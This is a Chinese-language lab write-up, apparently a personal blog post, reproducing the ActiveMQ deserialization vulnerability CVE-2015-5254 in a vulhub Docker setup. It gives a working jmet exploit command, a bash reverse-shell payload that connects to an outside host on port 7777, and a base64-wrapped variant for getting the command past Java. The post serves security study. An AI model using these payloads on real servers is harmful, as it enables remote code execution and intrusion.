CVE-2015-5254
2019-07-19 本文已影响99人
3mi1e
ActiveMQ 反序列化漏洞(CVE-2015-5254)
1.漏洞影响版本
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
漏洞影响版本:Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞
本漏洞需要jmet,附上github中的下载链接:jmet
2.漏洞危害
远程命令执行
3.漏洞POC
部署虚拟机
cd vulhub/activemq/CVE-2015-5254 //进入本次复现的漏洞目录
docker-compose up -d //docker-compose搭建环境


现在我们之前现在的jmet该派上用场了,使用之前在同目录创建external文件夹,避免报错

命令执行 touch /tmp/success:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616



进入docker执行命令
docker-compose exec activemq bash
ls /tmp

接下来划重点,考试重点
我自己研究了20分钟,还是看了大佬的简书,果断关注一波
Echocipher
正常弹shell的payload只需替换touch /tmp/success:
bash -i >& /dev/tcp/IP/7777 0>&1
但是反弹shell需要绕过JAVA机制
bash -c {echo,payload的basse64编码}|{base64,-d}|{bash,-i}

4.复盘
漏洞利用过程如下:
1.构造(可以使用ysoserial)可执行命令的序列化对象
2.作为一个消息,发送给目标61616端口
3.访问web管理页面,读取消息,触发漏洞
漏洞出现原因:
远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
总结
1.对JAVA没有很好地认识,包括反序列化以及基本语法。
2.bash弹shell命令不是很熟练,需要多加记忆。